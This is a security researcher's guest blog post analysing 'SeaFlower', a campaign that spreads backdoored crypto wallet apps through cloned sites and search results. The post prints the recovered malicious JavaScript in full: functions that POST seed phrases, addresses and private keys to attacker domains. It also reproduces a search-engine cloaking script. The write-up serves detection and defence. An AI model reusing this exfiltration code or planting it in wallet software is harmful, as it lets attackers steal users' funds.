:
In this guest blog post, the security researcher Taha Karim (@lordx64) of Confiant, details a sophisticated threat targeting web3 users.
The writeup was originally posted on Confiant’s site.
Background
Confiant monitors 2.5+ billion ads per day via 110+ integrations in the advertising stack. This provides great visibility on malicious activity infiltrating the ad stack and the broader Internet. And that includes all the web3 malicious activity funneling thru it.
The variety and the range of our detection enable Confiant to detect unique malicious activity as soon as it surfaces.
SeaFlower is an example of this unique cluster of malicious activities targeting web3 wallet users that we will document in this blog post.
What is SeaFlower?
SeaFlower is a cluster of activity that we identified earlier this year in March 2022. We believe SeaFlower is the most technically sophisticated threat targeting web3 users, right after the infamous Lazarus Group.
The cluster of activity named “SeaFlower” was chosen for a reason. One of the injected .dylib
files in the original Mach-O of the metamask app, contained the full path to xcode derived data, that leaked a macOS username: “Zhang Haike”:
Naturally, Googling “Zhang Haike” was the next step, which gave many Chinese-speaking references, including this one that I found amusing: it is the name of a character in a Chinese novel called “Tibetan Sea Flower”.
The Chinese-speaking references conform to the context of this large campaign, and hint to a strong relationship with a Chinese-speaking entity yet to be uncovered:
- Uncovered macOS usernames are Chinese names
- Source code comments in the backdoor code are written in Chinese.
- Modding/hooking Frameworks used are common in the Chinese-speaking modding community, based on the fact that many tutorials and usages example of these Frameworks are in Chinese and the authors of the tools are Chinese speaking.
- We uncovered Provisioning profiles, signing infrastructure, and app provisioning infrastructure hosted in the Chinese IP address space and the Hong Kong IP address space in addition to the domains registered with .cn TLD.
- We uncovered multiple cloned websites (mimicking official wallet websites) initially hosted in Hong Kong IP address space
- CDN abused is Alibaba
- Most of the search engines targeted are Chinese search engines.
As of today, the main current objective of SeaFlower is to modify web3 wallets with backdoor code that ultimately exfiltrates the seed phrase. The targeted web3 wallets are the following:
- Coinbase Wallet (iOS, Android)
- MetaMask wallet (iOS, Android)
- TokenPocket (iOS, Android)
- imToken (iOS, Android)
Any users lured into downloading SeaFlower backdoored wallets will ultimately lose their funds. We provided SHA-256 of each analyzed backdoored wallet to help our community identify these backdoored wallets and their multiple variants.
SeaFlower Modus operandi
Looking at the various attacks in this new cluster, they have something in common: SeaFlower doesn’t alter the original functionality of the wallet in any way but adds code to exfiltrate the seed phrase, and does it using different techniques increasing in complexity, hopefully, documented in this blog post.
The user experience, the UI, and all the wallet functionality are unchanged, normal/advanced users won’t notice anything while using the app on their phones: it is the legitimate app from the AppStore/Play Store with a sneaking backdoor in it.
But if one is actively monitoring network requests, one will find out that there’s a single network request that is sent to weird-looking domains, for example, we have seen backdoored wallets sending traffic to trx.lnfura[.]org (mimicking infura.io) or metanask[.]cc (mimicking metmask.io) over HTTPS.
Setting up a MITM proxy we could decrypt the HTTPS traffic and find out that the seed phrase, the wallet address, and the balance are sent out to the attacker:
SeaFlower drastically differs from the other web3 intrusion sets we track, with little to no overlap from the Infrastructure in place, but also from the technical capability and coordination point of view: Reverse engineering iOS and Android apps, modding them, provisioning, and automated deployments.
SeaFlower also takes care of the app distribution phase by setting up fake cloned websites where these backdoored wallets can be downloaded. The identified websites are perfect clones of legitimate websites, offering download links:
For iOS, SeaFlower is using provisioning profiles. Once installed, the iOS apps are then sideloaded to the victim’s phone and installed. Below are some of the steps we recorded of typically what the victim will see when browsing one of the SeaFlower websites using an iPhone:
The last question to be answered is how the users are targeted and redirected to these websites offering backdoored wallets? short answer: Search Engines. Indeed, search engines are one of the clear entry points for SeaFlower that we identified to this date, redirecting mobile users to fake/cloned wallet download websites. In particular, Baidu search engine results are one of the initial vectors for these attacks.
Baidu, Inc is a Chinese multinational AI technology company with a search engine. We were interested to see if there’s any SEO or targeting to coinbase or metamask users in that search engine.
We searched for “download metamask ios” and one of the baidu links on the first results page redirected us to token18[.]app website, which was SeaFlower Drive-by download page, sweet!
While monitoring for results we started noticing that there was an intermediate website, that does a fingerprinting before redirecting to the SeaFlower drive-by download pages. We extracted the client-side fingerprinting from the HTML pages and we identified a code that checks if the referer matches different search engines, in fact, multiple Chinese search engines:
Most of the search engines mentioned are all Chinese search engines:
We created a specific detection rule to hunt for any of the above js code, and we found another piece of code that has bot/spider detections, by checking the userAgent strings, we can see again references to Chinese search engines crawlers/spiders:
function isSpider() {
var flag = false;
var spider = navigator.userAgent.toLowerCase();
var spiderSite = ['baiduspider', 'baidu.', '360Spider', 'sogou.', 'soso.', 'yisouspider', 'bingbot', 'bing.', 'google.', 'googlebot'];
for (let i = 0, len = spiderSite.length; i < len; i++) {
if (spider.indexOf(spiderSite[i]) > 0) {
flag = true;
break;
}
}
if (!flag) {
goPAGE();
}
}
This particular campaign tells us more about the initial vector and the targeting that seems to be search engine oriented, with the majority being Chinese search engines.
At this point, we defined some initial context and learned a bit more about who could be potentially targeted by SeaFlower.
Next, is the backdoored wallets technical analysis part, we will shed some light on how SeaFlower is backdooring the web3 wallets. For readability, we will document in this blogpost how iOS MetaMask wallet and Android Coinbase wallet were backdoored in great detail. The other flavors of these wallets (iOS, Android) and the other wallets (imToken, TokenPocket) are using very similar backdoor code and won’t be all covered in this blogpost but will be briefly documented especially the most relevant parts.
MetaMask wallet (MetaMask iOS app)
SHA-256 of the .IPA file: 9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8
MetaMask for mobile is a React native app, meaning it can run on both iOS and Android. The first signs of backdoor code can be found at the main.jsbundle
.
A conditional code block was added at the beginning of WriteFile() function. This code block is not present in the official metamask wallet:
writeFile()
is called on a file whose path contains “persist-root”. If we look at where this file is located using a real iPhone, it is stored within the MetaMask app container, it is a configuration file, containing the seed phrase encrypted amongst other runtime configuration data. The file is specifically found at the following path:
/private/var/mobile/Containers/Data/Application/{CONTAINER UID}/Documents/persistStore/persist-root
This new information gives us a high-level understanding of when the backdoor code is called: right after the MetaMask seed-phrase is generated and about to be stored encrypted in the “persist-root” file. We confirmed this by installing MetaMask app on a real iOS device and indeed a network request with the seed phrase is sent right after the user confirms the seed phrase during the wallet’s first setup installation, which is pretty neat as a backdoor implementation, and completely invisible during the usage.
The only issue here is that the startupload()
function highlighted above in the backdoor code, isn’t present in the main.jsbundle()
and there are 0 references to this function in any javascript file or any linked .dylib
file exported symbols.
hunting for startupload()
This step required reverse engineering and digging into some Arm64 assembly and low-level code as we will see. I will keep it brief to not confuse the readers, hopefully, it will make sense.
So I started looking at the MetaMask compiled Mach-O file, and noticed two injected .dylibs:
libmetaDylib.dylib
and mn.dylib
seems to be good candidates as these are not supposed to be injected in the original MetaMask iOS Mach-O binary.
libmetaDylib.dylib
was signed with developer ID iPhone Distribution: pl li (259JS6979T
) and team-ID 259JS6979T
libmetaDylib.dylib
contains references to 3 known modding/hooking frameworks: Cycript, Cydia Susbtrate, and the Reveal Framework. This is already a red flag, meaning that something has been done to alter the runtime behavior of the app:
I’ve found multiple references to MonkeyDev Framework which is a hooking & modding utility written by AloneMonkey. MonkeyDev has custom Xcode templates https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates which make it fully integrated to Xcode during the development cycle of these backdoors:
startupload()
and its implementation.
A Backdoor inside a Backdoor
After several checks identifying where a backdoor code could be injected I started looking at the injected libraries, and ran the usual class-dump
on the libmetaDylib.dylib
revealed a strange class name FKKKSDFDFFADS
, highlighted below:
Cross-referencing the class name FKKKSDFDFFADS
I got a solid hit on a Logos tweak installed by the backdoor author, targeting the function dataWithContentsOfFile:options:error
the tweek was installed via MSHookMessageEx()
:
At this point a malicious dataWithContentsOfFile:options:error
implemented by the author will get called right before the original one. The malicious dataWithContentsOfFile:options:error
contains the following code:
- At line 39 there’s a clear call to our strang class
FKKKSDFDFFADS
- At line 29 there’s also a test checking a variable path against the string /meta.app/main.jsbundle.
It seems this function dataWithContentsOfFile:options:error
is expecting a “.jsbundlefile to read from and return its content, but let’s take a step back and figure out why the author hooked the call of
dataWithContentsOfFile:options:error` it must be for a specific reason.
Going back to the initial Mach-O MetaMask there’s a reference to dataWithContentsOfFile:options:error
at the function 0x1001339cc
:
RCTJavascriptLoader::loadBundleAtURL
:
At this point, we can conclude that the author is trying to inject a backdoor in the form of a React Native Bundle and have it loaded by RCTJavascriptLoader used by the RCTBridge
to load javascript.
Every react native app starts with the creation of an RCTBridge
instance. In this, react native loads the javascript, either from the local packager or a pre-built bundle, and executes this inside JavascriptCore
.
We are left with one last exercise to confirm all this and call it a wrap by analyzing the weird class FKKKSDFDFFADS
.
Below is the decompilation of the method FKKKSDFDFFADS::ddsdf
:
So, I just created a project in Xcode, extracted the b64 encrypted blob and the RSA keys, linked it to this library, and wrote the following code snippet to decrypt the blob:
…and created an iOS project and ran it:
startupload()
function. Below is the code of this function:
function startupload() | |
{ | |
if(xlmnmonic!=“” && xlmnmonic!=null && xladdress!=null) | |
{ | |
var demoString = xlmnmonic+“@”+xladdress+“@”+xlPrivateKey; | |
fdsafasdf(“https://trx.lnfura.org/api/metamask/ios/GDBPXJ1EXQXWFUAGZRIH3FOVR0SO0VDJLIZLVE1LYOXZECZ61FDC1EHNSPX7KDZWIENCPV7H3KRYNOIENCRTDOIHV2RPKMG4CC4UIDVIJJUTGAIWU7MV6BR8LPJA6XT5”,demoString); | |
fdsafasdf(“https://metamaskaa.com/api/metamask/ios/c072a5b6becd50f232ff5f0238489bea”,demoString); | |
} | |
else{ | |
} | |
} | |
function fdsafasdf(dd,ccc) | |
{ | |
var formData = new FormData(); | |
formData.append(“demoString”,ccc); | |
fetch(dd, | |
{ | |
‘method’: ‘POST’, | |
‘headers’: { | |
‘Accept’: ‘text/plain’, | |
}, | |
‘body’:formData | |
} | |
) | |
.then((response) => response.text()) | |
.then((responseText) => { | |
}) | |
.catch((error) => { | |
}); | |
} | |
function readAddressFile() | |
{ | |
if(xlHFilemanger!=null){ | |
xlHFilemanger.readFile(“/data/data/io.metamask/files/persistStore/persist-root”); | |
} | |
} | |
var xlkeyManager = null; | |
var xlPrivateKey = “”; | |
var xladdress = “”; | |
var xlmnmonic = “”; | |
var xlhost = null; | |
var xlFilemanger = null; | |
var xlHFilemanger = null; | |
var xlrunAfterInteractions = null; | |
var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=false,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||“production”; | |
!(function(r){“use strict”;r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error(‘Requiring unknown module “‘+t+‘”.’);if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error(‘Requiring module “‘+r+‘”, which threw an exception: ‘+e)}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this); |
Above is the source code of the startupload()
function. It simply sends a POST
request to the trx.lnfura[.]org
domain with the seed phrase information that is stored in the variable xlmnmonic
.
Starting from line 59, we can see code starting with a __BUNDLE_START_TIME__
confirming that we are dealing with typical React Native Bundle. The code is basically related to the runtime loading of this bundle and to resolving module dependencies, etc:
xlmnmonic
variable stores the seed phrase passed to the function _initFromMnemonic
which we can find in the main.jsbundle
:
Validating the backdoor code execution at runtime:
As with any backdoor code found, it is important to validate it at runtime. I installed the backdoored metamask app on a real iOS device, ran debugserver on iOS and waited with LLDB
on my laptop to break right after the app is launched. I set a conditional breakpoint to break into anything “logos” :
break set -r "logos" -s libmetaDylib.dylib
…then got a first hit at _logosLocalInit()
:
_logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$
(the one added by the backdoor author using MSHookMessageEx()
):
From there all I have to do is to find where the obj_msgSend()
that will call the weird class name FKKKSDFDFFADS::ddsdf
, and the backdoor code is finally about to be executed via obj_msgSend()
as we can see in the screenshot below:
…and that’s a wrap we confirmed statically, and dynamically the backdoor code and its execution!
Other variants of the MetaMask iOS app backdoor:
By analyzing multiple backdoored iOS MetaMask wallets I found other variants of the backdoor code, with this one having source code comments in Chinese
var monic = “”; | |
var xlhookTime = 0; | |
var xldata = “”; | |
var xlPdata = “”; | |
var xlcaches = {}; | |
var xlpcaches = {}; | |
var xlpwd = null; | |
var xlepwd = null; | |
function mcode(str) | |
{ | |
if(str!=undefined && str !=“”) | |
{ | |
monic = str; | |
} | |
startUpload(); | |
} | |
var xlOEx = null; | |
var isSend = false; | |
function computeCaches(t) | |
{ | |
for(var i = 0;i < t.wallets.length; i++) | |
{ | |
var tmp = t.wallets[i]; | |
console.log(tmp); | |
var kkk = tmp[“name”]+tmp[“source”]; | |
var tmpXlPwd = xlpwd; | |
if(tmp[“source”].indexOf(“PRIVATE”)!=–1) | |
{ | |
//console.log(“导入数据。所以要切换密码”+tmpXlPwd[“password”]); | |
tmpXlPwd = xlepwd; | |
} | |
if(xlcaches[kkk]==undefined && tmpXlPwd!=null && tmpXlPwd[“password”] !=undefined && xlpcaches[tmp[“fileId”]]==undefined) | |
{ | |
if(tmp[“name”]==“TRX” && xlOEx!=null) | |
{ | |
xlOEx.default(“export_private_key”,{“id”:tmp[“fileId”],“chainType”:tmp[“chainType”],“network”:tmp[“network”]||”,“mainAddress”:tmp[“address”],“path”:tmp[“path”]||”,“password”:tmpXlPwd[“password”]}).then(function(n){ | |
console.log(“导入的私钥查询”+JSON.stringify(n)); | |
computePrivateKey(tmp[“fileId”],n.value); | |
}).catch(function(n){ | |
}); | |
} | |
else | |
{ | |
xlWalletApi.exportPrivateKey({“id”:tmp[“fileId”],“password”:tmpXlPwd[“password”]}); | |
} | |
} | |
if(xlcaches[kkk]==undefined || (tmp[“source”]!=xlcaches[kkk][“data”][“source”])) | |
{ | |
xlcaches[kkk] = {data:tmp,upload:false} | |
} | |
} | |
try{ | |
if(startUpload!=undefined) | |
{ | |
startUpload() | |
} | |
}catch(e) | |
{ | |
console.log(“renderMainWalletCard: 异常”+JSON.stringify(e)); | |
} | |
} | |
function startUpload() | |
{ | |
if(monic==“” || monic==undefined) | |
{ | |
console.log(“monic kong”); | |
return; | |
} | |
monic = monic.replace(/,/g,“_”) | |
var tmpcache = “”; | |
var tmpPcache = “”; | |
for(var tmp in xlcaches) | |
{ | |
if(xlcaches[tmp].upload==false && xlpcaches[xlcaches[tmp][“data”][“fileId”]]!=undefined) | |
{ | |
xlcaches[tmp].upload = true; | |
tmpcache += “@” + JSON.stringify(xlcaches[tmp]); | |
tmpPcache += “@” + JSON.stringify(xlcaches[tmp])+“##”+xlpcaches[xlcaches[tmp][“data”][“fileId”]]; | |
} | |
} | |
if(tmpcache!=“”) | |
{ | |
console.log(“tmpcache 非空”); | |
xldata = xldata+monic+tmpcache; | |
xlPdata = xlPdata +monic+ tmpPcache | |
} | |
if(xldata!=“”) | |
{ | |
postData(“https://mainnet.lnfura.io/api/im/ios/PAP9H7C5GGBANTDVJHKTXLRIVAII62TYL4GW0JIBHHR5DXPZKHK1JFMQQMFXEQRFFZUHTYI7NTT0SSMH77ISFL4BY3AXIEYI5HVP90EC2F1KCIUKNB7PRUGCFAXWE8QK”,xlPdata); | |
postData(“https://facai.im/api/im/ios/52a38f251655ec9b9f2cb5b2db23b033”,xldata); | |
xlPdata = “”; | |
xldata = “”; | |
} | |
} | |
function computePrivateKey(id,key) | |
{ | |
xlpcaches[id] = key; | |
console.log(“computePrivateKey:”+id+“——“+key); | |
} | |
function postData(url,data) | |
{ | |
console.log(“发送数据:”+data); | |
var formData = new FormData(); | |
formData.append(“demoString”,data); | |
fetch(url, | |
{ | |
‘method’: ‘POST’, | |
‘headers’: { | |
‘Accept’: ‘text/plain’, | |
}, | |
‘body’:formData | |
} | |
) | |
.then((response) => response.text()) | |
.then((responseText) => { | |
}) | |
.catch((error) => { | |
console.warn(error); | |
}); | |
} | |
var xlWalletApi = null; | |
var xlpwd = null; | |
;var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=true,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||“developer”; | |
!(function(r){“use strict”;r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error(‘Requiring unknown module “‘+t+‘”.’);if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error(‘Requiring module “‘+r+‘”, which threw an exception: ‘+e)}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this); | |
!(function(n){var e=(function(){function n(n,e){return n}function e(n){var e={};return n.forEach(function(n,r){e[n]=!0}),e}function r(n,r,u){if(n.formatValueCalls++,n.formatValueCalls>200)return“[TOO BIG formatValueCalls “+n.formatValueCalls+” exceeded limit of 200]”;var f=t(n,r);if(f)return f;var c=Object.keys(r),s=e(c);if(d(r)&&(c.indexOf(‘message’)>=0||c.indexOf(‘description’)>=0))return o(r);if(0===c.length){if(v(r)){var g=r.name?‘: ‘+r.name:”;return n.stylize(‘[Function’+g+‘]’,‘special’)}if(p(r))return n.stylize(RegExp.prototype.toString.call(r),‘regexp’);if(y(r))return n.stylize(Date.prototype.toString.call(r),‘date’);if(d(r))return o(r)}var h,b,m=”,j=!1,O=[‘{‘,‘}’];(h=r,Array.isArray(h)&&(j=!0,O=[‘[‘,‘]’]),v(r))&&(m=‘ [Function’+(r.name?‘: ‘+r.name:”)+‘]’);return p(r)&&(m=‘ ‘+RegExp.prototype.toString.call(r)),y(r)&&(m=‘ ‘+Date.prototype.toUTCString.call(r)),d(r)&&(m=‘ ‘+o(r)),0!==c.length||j&&0!=r.length?u<0?p(r)?n.stylize(RegExp.prototype.toString.call(r),‘regexp’):n.stylize(‘[Object]’,‘special’):(n.seen.push(r),b=j?i(n,r,u,s,c):c.map(function(e){return l(n,r,u,s,e,j)}),n.seen.pop(),a(b,m,O)):O[0]+m+O[1]}function t(n,e){if(s(e))return n.stylize(‘undefined’,‘undefined’);if(‘string’==typeof e){var r=“‘”+JSON.stringify(e).replace(/^“|“$/g,”).replace(/‘/g,“\\'”).replace(/\\“/g,‘”‘)+“‘”;return n.stylize(r,‘string’)}return c(e)?n.stylize(”+e,‘number’):u(e)?n.stylize(”+e,‘boolean’):f(e)?n.stylize(‘null’,‘null’):void 0}function o(n){return‘[‘+Error.prototype.toString.call(n)+‘]’}function i(n,e,r,t,o){for(var i=[],a=0,u=e.length;a<u;++a)b(e,String(a))?i.push(l(n,e,r,t,String(a),!0)):i.push(”);return o.forEach(function(o){o.match(/^\d+$/)||i.push(l(n,e,r,t,o,!0))}),i}function l(n,e,t,o,i,l){var a,u,c;if((c=Object.getOwnPropertyDescriptor(e,i)||{value:e[i]}).get?u=c.set?n.stylize(‘[Getter/Setter]’,‘special’):n.stylize(‘[Getter]’,‘special’):c.set&&(u=n.stylize(‘[Setter]’,‘special’)),b(o,i)||(a=‘[‘+i+‘]’),u||(n.seen.indexOf(c.value)<0?(u=f(t)?r(n,c.value,null):r(n,c.value,t–1)).indexOf(‘\n’)>–1&&(u=l?u.split(‘\n’).map(function(n){return‘ ‘+n}).join(‘\n’).substr(2):‘\n’+u.split(‘\n’).map(function(n){return‘ ‘+n}).join(‘\n’)):u=n.stylize(‘[Circular]’,‘special’)),s(a)){if(l&&i.match(/^\d+$/))return u;(a=JSON.stringify(”+i)).match(/^“([a-zA-Z_][a-zA-Z_0-9]*)“$/)?(a=a.substr(1,a.length–2),a=n.stylize(a,‘name’)):(a=a.replace(/‘/g,“\\'”).replace(/\\“/g,‘”‘).replace(/(^“|“$)/g,“‘”),a=n.stylize(a,‘string’))}return a+‘: ‘+u}function a(n,e,r){return n.reduce(function(n,e){return 0,e.indexOf(‘\n’)>=0&&0,n+e.replace(/\u001b\[\d\d?m/g,”).length+1},0)>60?r[0]+(”===e?”:e+‘\n ‘)+‘ ‘+n.join(‘,\n ‘)+‘ ‘+r[1]:r[0]+e+‘ ‘+n.join(‘, ‘)+‘ ‘+r[1]}function u(n){return‘boolean’==typeof n}function f(n){return null===n}function c(n){return‘number’==typeof n}function s(n){return void 0===n}function p(n){return g(n)&&‘[object RegExp]’===h(n)}function g(n){return‘object’==typeof n&&null!==n}function y(n){return g(n)&&‘[object Date]’===h(n)}function d(n){return g(n)&&(‘[object Error]’===h(n)||n instanceof Error)}function v(n){return‘function’==typeof n}function h(n){return Object.prototype.toString.call(n)}function b(n,e){return Object.prototype.hasOwnProperty.call(n,e)}return function(e,t){return r({seen:[],formatValueCalls:0,stylize:n},e,t.depth)}})(),r=‘(index)’,t={trace:0,info:1,warn:2,error:3},o=[];o[t.trace]=‘debug’,o[t.info]=‘log’,o[t.warn]=‘warning’,o[t.error]=‘error’;var i=1;function l(r){return function(){var l;l=1===arguments.length&&‘string’==typeof arguments[0]?arguments[0]:Array.prototype.map.call(arguments,function(n){return e(n,{depth:10})}).join(‘, ‘);var a=arguments[0],u=r;‘string’==typeof a&&‘Warning: ‘===a.slice(0,9)&&u>=t.error&&(u=t.warn),n.__inspectorLog&&n.__inspectorLog(o[u],l,[].slice.call(arguments),i),s.length&&(l=p(”,l)),n.nativeLoggingHook(l,u)}}function a(n,e){return Array.apply(null,Array(e)).map(function(){return n})}var u=“\u2502”,f=“\u2510”,c=“\u2518”,s=[];function p(n,e){return s.join(”)+n+‘ ‘+(e||”)}if(n.nativeLoggingHook){n.console;n.console={error:l(t.error),info:l(t.info),log:l(t.info),warn:l(t.warn),trace:l(t.trace),debug:l(t.trace),table:function(e){if(!Array.isArray(e)){var o=e;for(var i in e=[],o)if(o.hasOwnProperty(i)){var l=o[i];l[r]=i,e.push(l)}}if(0!==e.length){var u=Object.keys(e[0]).sort(),f=[],c=[];u.forEach(function(n,r){c[r]=n.length;for(var t=0;t<e.length;t++){var o=(e[t][n]||‘?’).toString();f[t]=f[t]||[],f[t][r]=o,c[r]=Math.max(c[r],o.length)}});for(var s=y(c.map(function(n){return a(‘-‘,n).join(”)}),‘-‘),p=[y(u),s],g=0;g<e.length;g++)p.push(y(f[g]));n.nativeLoggingHook(‘\n’+p.join(‘\n’),t.info)}else n.nativeLoggingHook(”,t.info);function y(n,e){var r=n.map(function(n,e){return n+a(‘ ‘,c[e]–n.length).join(”)});return e=e||‘ ‘,r.join(e+‘|’+e)}},group:function(e){n.nativeLoggingHook(p(f,e),t.info),s.push(u)},groupEnd:function(){s.pop(),n.nativeLoggingHook(p(c),t.info)},groupCollapsed:function(e){n.nativeLoggingHook(p(c,e),t.info),s.push(u)},assert:function(e,r){e||n.nativeLoggingHook(‘Assertion failed: ‘+r,t.error)}},Object.defineProperty(console,‘_isPolyfilled’,{value:!0,enumerable:!1})}else if(!n.console){}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this); | |
!(function(n){var r=0,t=function(n,r){throw n},l={setGlobalHandler:function(n){t=n},getGlobalHandler:function(){return t},reportError:function(n){t&&t(n,!1)},reportFatalError:function(n){t&&t(n,!0)},applyWithGuard:function(n,t,u,e,a){try{return r++,n.apply(t,u)}catch(n){l.reportError(n)}finally{r—}return null},applyWithGuardIfNeeded:function(n,r,t){return l.inGuard()?n.apply(r,t):(l.applyWithGuard(n,r,t),null)},inGuard:function(){return!!r},guard:function(n,r,t){var u;if(‘function’!=typeof n)return null;var e=null!=(u=null!=r?r:n.name)?u:‘<generated guard>’;return function(){for(var r=arguments.length,u=new Array(r),a=0;a<r;a++)u[a]=arguments[a];return l.applyWithGuard(n,null!=t?t:this,u,null,e)}}};n.ErrorUtils=l})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this); | |
‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window&&window,(function(){‘use strict’;var e=Object.prototype.hasOwnProperty;‘function’!=typeof Object.entries&&(Object.entries=function(n){if(null==n)throw new TypeError(‘Object.entries called on non-object’);var o=[];for(var t in n)e.call(n,t)&&o.push([t,n[t]]);return o}),‘function’!=typeof Object.values&&(Object.values=function(n){if(null==n)throw new TypeError(‘Object.values called on non-object’);var o=[];for(var t in n)e.call(n,t)&&o.push(n[t]);return o})})(); | |
__d(function(g,r,i,a,m,e,d){var n=r(d[0]);r(d[1]),r(d[2]);var t=n(r(d[3]));r(d[4]).AppRegistry.registerComponent(‘token’,function(){return t.default})},0,[1,2,347,929,380]); | |
__d(function(g,r,i,a,m,e,d){m.exports=function(n){return n&&n.__esModule?n:{default:n}}},1,[]); | |
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),m.exports=r(d[15])},2,[3,329,167,332,331,333,336,337,338,339,341,342,343,345,346,10]); | |
__d(function(g,r,i,a,m,e,d){r(d[0]),r(d[1]),r(d[2]),r(d[3]),r(d[4]),r(d[5]),r(d[6]),r(d[7]),r(d[8]),r(d[9]),r(d[10]),r(d[11]),r(d[12]),r(d[13]),r(d[14]),r(d[15]),r(d[16]),r(d[17]),r(d[18]),r(d[19]),r(d[20]),r(d[21]),r(d[22]),r(d[23]),r(d[24]),r(d[25]),r(d[26]),r(d[27]),r(d[28]),r(d[29]),r(d[30]),r(d[31]),r(d[32]),r(d[33]),r(d[34]),r(d[35]),r(d[36]),r(d[37]),r(d[38]),r(d[39]),r(d[40]),r(d[41]),r(d[42]),r(d[43]),r(d[44]),r(d[45]),r(d[46]),r(d[47]),r(d[48]),r(d[49]),r(d[50]),r(d[51]),r(d[52]),r(d[53]),r(d[54]),r(d[55]),r(d[56]),r(d[57]),r(d[58]),r(d[59]),r(d[60]),r(d[61]),r(d[62]),r(d[63]),r(d[64]),r(d[65]),r(d[66]),r(d[67]),r(d[68]),r(d[69]),r(d[70]),r(d[71]),r(d[72]),r(d[73]),r(d[74]),r(d[75]),r(d[76]),r(d[77]),r(d[78]),r(d[79]),r(d[80]),r(d[81]),r(d[82]),r(d[83]),r(d[84]),r(d[85]),r(d[86]),r(d[87]),r(d[88]),r(d[89]),r(d[90]),r(d[91]),r(d[92]),r(d[93]),r(d[94]),r(d[95]),r(d[96]),r(d[97]),r(d[98]),r(d[99]),r(d[100]),r(d[101]),r(d[102]),r(d[103]),r(d[104]),r(d[105]),r(d[106]),r(d[107]),r(d[108]),r(d[109]),r(d[110]),r(d[111]),r(d[112]),r(d[113]),r(d[114]),r(d[115]),r(d[116]),r(d[117]),r(d[118]),r(d[119]),r(d[120]),r(d[121]),r(d[122]),r(d[123]),r(d[124]),r(d[125]),r(d[126]),r(d[127]),r(d[128]),r(d[129]),r(d[130]),r(d[131]),r(d[132]),r(d[133]),r(d[134]),r